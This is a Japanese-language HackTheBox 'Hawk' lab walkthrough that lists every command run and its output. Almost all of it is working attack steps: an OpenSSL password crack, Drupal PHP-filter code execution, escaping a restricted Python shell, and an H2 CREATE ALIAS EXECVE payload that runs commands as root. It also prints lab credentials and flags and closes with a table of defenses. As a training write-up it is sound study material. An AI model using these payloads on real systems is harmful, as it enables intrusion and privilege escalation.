HackTheBox: Hawk — 全実行コマンド・実行結果レポート
Nmap スキャン
21 FTP, 22 SSH, 80 Drupal7, 8082 H2
→
21 FTP, 22 SSH, 80 Drupal7, 8082 H2
匿名FTP + OpenSSLクラック
bruteforce-salted-openssl
→
bruteforce-salted-openssl
Drupal admin + PHP filter RCE
node Preview → settings.php
→
node Preview → settings.php
daniel SSH
制限Pythonシェル要回避、user.txt ✓
→
制限Pythonシェル要回避、user.txt ✓
SSHトンネル → H2コンソール
CREATE ALIAS EXECVE
→
CREATE ALIAS EXECVE
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.95.193
RESULT
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 5435/tcp closed unknown 8082/tcp open blackice-alerts 9092/tcp closed unknown
Web/FTPバナー確認
BASH
curl -sI http://10.129.95.193/ curl -s ftp://anonymous:anonymous@10.129.95.193/
RESULT
Server: Apache/2.4.29 (Ubuntu) X-Generator: Drupal 7 (http://drupal.org) drwxr-xr-x 2 ftp ftp 4096 Jun 16 2018 messages ← 匿名FTPログイン許可、messagesディレクトリ発見
🚨
FTPが匿名ログインを許可しており、
messagesディレクトリの中に
暗号化ファイルらしき隠しファイルが存在することが後の調査で判明する。
PHASE 2
匿名FTPで暗号化ファイル取得 → OpenSSLパスワードクラック
暗号化ファイルの取得
BASH
curl -s ftp://10.129.95.193/messages/.drupal.txt.enc
RESULT (base64テキスト)
U2FsdGVkX19rWSAG1JNpLTawAmzz/ckaN1oZFZewtIM+e84km3Csja3GADUg2jJb CmSdwTtr/IIShvTbUd0yQxfe9OuoMxxfNIUN/YPHx+vVw/6eOD+Cc1ftaiNUEiQz QUf9FyxmCb2fuFoOXGphAMo+Pkc2ChXgLsj4RfgX+P7DkFa8w1ZA9Yj7kR+tyZfy t4M0qvmWvMhAj3fuuKCCeFoXpYBOacGvUHRGywb4YCk=
ℹ️
base64デコードすると
Salted__マジックバイトで始まる、
OpenSSLのencコマンドで暗号化されたファイルであることが分かる。
bruteforce-salted-opensslでパスワードクラック
BASH
# base64デコードして保存後 bruteforce-salted-openssl -t 4 -f /usr/share/wordlists/rockyou.txt \ -c aes-256-cbc -d sha256 hawk_drupal.txt.enc
RESULT
Password candidate: friends
復号 → Drupal管理者パスワード発見
BASH
openssl enc -aes-256-cbc -d -in hawk_drupal.txt.enc \ -out hawk_drupal.txt -k friends
RESULT
Daniel,
Following the password for the portal:
PencilKeyboardScanner123
Please let us know when the portal is ready.
Kind Regards,
IT department
✅
IT部門からdanielへの社内メモという体裁で、Drupalポータルの管理者パスワードが
平文で記載されている。典型的な「秘密情報を暗号化ファイルとして共有」パターンだが、
暗号化パスワード自体が辞書攻撃で破られてしまっている。
PHASE 3
Drupal管理ログイン → PHP filterモジュール → RCE
管理者ログイン
BASH
# /user/login からform_build_id等を抽出しCookie保持の上POST curl -s -c cookies.txt http://10.129.95.193/user/login curl -s -b cookies.txt -c cookies.txt \ --data-urlencode name=admin \ --data-urlencode pass=PencilKeyboardScanner123 \ --data-urlencode form_build_id=<抽出値> \ --data-urlencode form_id=user_login \ --data-urlencode op="Log in" \ http://10.129.95.193/user/login
✅
admin:PencilKeyboardScanner123でログイン成功。
PHP filterモジュール有効化
BASH
# /admin/modules のフォームを解析し、既存の有効モジュール一式に # modules[Core][php][enable]=1 を追加してPOST curl -s -b cookies.txt -c cookies.txt \ --data-urlencode "modules[Core][php][enable]=1" ... \ --data-urlencode op="Save configuration" \ http://10.129.95.193/admin/modules
ℹ️
Drupal 7のPHP filterモジュールは、有効化するとコンテンツ本文にPHPコードを
直接埋め込んで実行できる公式(ただし非常に危険な)機能。管理者権限があれば
誰でも有効化でき、有効化後は認証済み管理者による事実上の任意コード実行経路になる。
新規ページのPreviewでRCE → settings.php読取
BASH
# /node/add/page のフォームに本文としてPHPコードを埋め込み、
# 保存(Save)ではなく Preview を実行するとその場でPHPが評価される
curl -s -b cookies.txt -c cookies.txt \
--data-urlencode title=diag \
--data-urlencode 'body[und][0][value]=<?php system("cat /var/www/html/sites/default/settings.php"); ?>' \
--data-urlencode body[und][0][format]=php_code \
--data-urlencode op=Preview \
http://10.129.95.193/node/add/page
RESULT (抜粋)
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupal',
'password' => 'drupal4hawk',
'host' => 'localhost',
⚠️
重要な落とし穴: settings.php全体には、設定例を示す大量の
PHPDocコメント(全て行頭が
*で始まる)が含まれており、
コメント中のプレースホルダにも
'password' => 'password'のような文字列が繰り返し出現する。
単純に最初の'password' => '...'にマッチする正規表現を使うと、
本物のdrupal4hawkではなくコメント中のプレースホルダ文字列
"password"を誤って抽出してしまう。行頭が
*////#のコメント行を除外してから
検索する必要がある。
PHASE 4
パスワード使い回しでSSH → user.txt
重要な落とし穴 — danielの制限されたPythonシェル
BASH (最初の失敗)
ssh daniel@10.129.95.193 "cat /home/daniel/user.txt"
RESULT
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'cat' is not defined
⚠️
daniel のログインシェルは通常のbash/shではなく、対話的なPython
REPLに設定されている。コマンド引数付きの
ssh user@host "cmd"
という通常の呼び出し方をすると、cmd文字列がそのままPythonの
式として評価されようとしてNameErrorになり、シェルコマンドとしては
一切実行されない。
BASH (修正)
# コマンド引数を渡さずセッションを張り、標準入力からPythonコードを流し込む
ssh daniel@10.129.95.193 <<'EOF'
import os
os.system('cat /home/daniel/user.txt')
EOF
RESULT
c3a1c69625250747ecb1be3f678da65e
✅
os.system()をPythonの式として評価させることで、Python REPL越しに
任意のシェルコマンドを実行できる。(先にimport osを実行し忘れると
今度はNameError: name 'os' is not definedになるので注意。)
user.txt — daniel
c3a1c69625250747ecb1be3f678da65e
PHASE 5
SSHローカルポートフォワード → H2データベースコンソール
ポート8082はlocalhost限定 — SSHトンネルで到達
BASH
# -N -L はコマンド実行を要求しないポート転送専用モードのため、 # danielのPython制限シェルの影響を一切受けない sshpass -p drupal4hawk ssh -N -L 127.0.0.1:9002:127.0.0.1:8082 \ daniel@10.129.95.193
ℹ️
H2データベースのWebコンソール(初期状態ではroot権限のシステムサービス
として起動)は
127.0.0.1:8082にバインドされ外部からは
直接アクセスできない設計になっているが、SSHのローカルポートフォワードで
Kali側の任意ポート(9002)へトンネルすれば到達できる。
H2コンソールへのログイン(セッション確立)
BASH
curl -s http://127.0.0.1:9002/ # トップページからjsessionid付きURL取得 curl -s --data-urlencode language=en \ --data-urlencode "setting=Generic H2 (Embedded)" \ --data-urlencode driver=org.h2.Driver \ --data-urlencode url=jdbc:h2:~/<ランダムDB名> \ --data-urlencode user=sa --data-urlencode password= \ "http://127.0.0.1:9002/login.do?jsessionid=<...>"
✅
認証なしで新規H2データベースを作成しログインできる(H2コンソールの初期設定の
危険な既定動作)。作成したDBに対して以降のSQL/CREATE ALIASが実行できる。
CREATE ALIAS で任意コマンド実行機能を追加
BASH (exploit-db 45506 と同一手法)
curl -s --data-urlencode 'sql=CREATE ALIAS EXECVE AS $$
String execve(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(cmd).getInputStream()
).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$;' "http://127.0.0.1:9002/query.do?jsessionid=<...>"
ℹ️
H2データベースはJavaのユーザー定義関数(ALIAS)をSQL経由で登録できる機能を持つ。
H2コンソールサービス自体がroot権限で稼働しているため、ここで登録した
EXECVE関数を呼び出すコマンドはすべてroot権限で
実行される。
PHASE 6
EXECVEエイリアスでroot.txt取得
root.txt読取
BASH
curl -s --data-urlencode "sql=CALL EXECVE('cat /root/root.txt')" \
"http://127.0.0.1:9002/query.do?jsessionid=<...>"
RESULT (HTMLテーブルから抽出)
2fd2e26dc60a848112280d6a92b699cc
✅
root権限でのコマンド実行成功。H2コンソールがroot権限で
動作していたため、SSHトンネル経由でアクセスできさえすれば
CREATE ALIAS EXECVEだけで直接rootのファイルを読み取れる。
root.txt — root@Hawk
2fd2e26dc60a848112280d6a92b699cc
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — daniel
c3a1c69625250747ecb1be3f678da65e
root.txt — root
2fd2e26dc60a848112280d6a92b699cc
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| FTP匿名アクセス + 弱いOpenSSLパスワード | vsftpd | Drupal管理者パスワードの漏洩 | Medium | rockyou.txtでの辞書攻撃(bruteforce-salted-openssl)によりAES暗号化ファイルを復号 |
| Drupal 7 PHP filterモジュール RCE | /node/add/page (Preview機能) | リモートコード実行 (www-data) | Critical | 管理者権限でPHP filterを有効化し、ノードのPreview機能でPHPコードをその場実行 |
| パスワードの使い回し | MySQL drupal ユーザー / daniel Linuxアカウント | 横展開 (www-data → daniel) | Medium | settings.phpから取得したDBパスワードがそのままdanielのSSHパスワードとしても有効 |
| H2コンソール認証なしアクセス + root権限稼働 | H2 Database Console (127.0.0.1:8082) | 権限昇格 (daniel → root) | Critical | SSHトンネルで到達後、認証なしで新規DB作成しCREATE ALIASでJavaコード(root権限)を実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 21 FTP, 22 SSH, 80 Drupal7, 8082 H2 |
| 2 | 資格情報奪取 | 匿名FTP + bruteforce-salted-openssl | Drupal admin: PencilKeyboardScanner123 |
| 3 | RCE確立 | PHP filterモジュール + node Preview | settings.php(MySQL drupal:drupal4hawk) |
| 4 | フラグ取得① | パスワード使い回しSSH(制限Pythonシェル回避) | user.txt |
| 5 | 権限昇格経路確保 | SSHローカルポートフォワード + H2コンソール | CREATE ALIAS EXECVE(root権限コード実行) |
| 6 | フラグ取得② | – | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| FTP匿名アクセスに機密情報(暗号化ファイル)を配置 | 匿名FTPを無効化する。仮に必要でも機密情報は絶対に置かない。 |
| 暗号化パスワードが辞書攻撃で破られる弱いもの | OpenSSL暗号化には十分な長さ・複雑さのランダムパスワードを使い、可能なら鍵ベースの暗号化に置き換える。 |
| Drupal管理画面からPHP filterモジュールが有効化可能 | PHP filterモジュールは本番環境では完全に削除する(Drupal公式も強く非推奨としている)。管理者アカウントの認証情報管理を強化する。 |
| DB資格情報がLinuxアカウントのSSHパスワードとしても再利用されている | 用途ごとに異なる認証情報を発行し、パスワードマネージャーで一元管理する。 |
| H2データベースコンソールが認証なしでアクセス可能かつroot権限で動作 | H2コンソールは開発環境限定で使用し本番では無効化する。やむを得ず稼働させる場合は必ず認証を設定し、専用の非特権ユーザーで実行する。 |

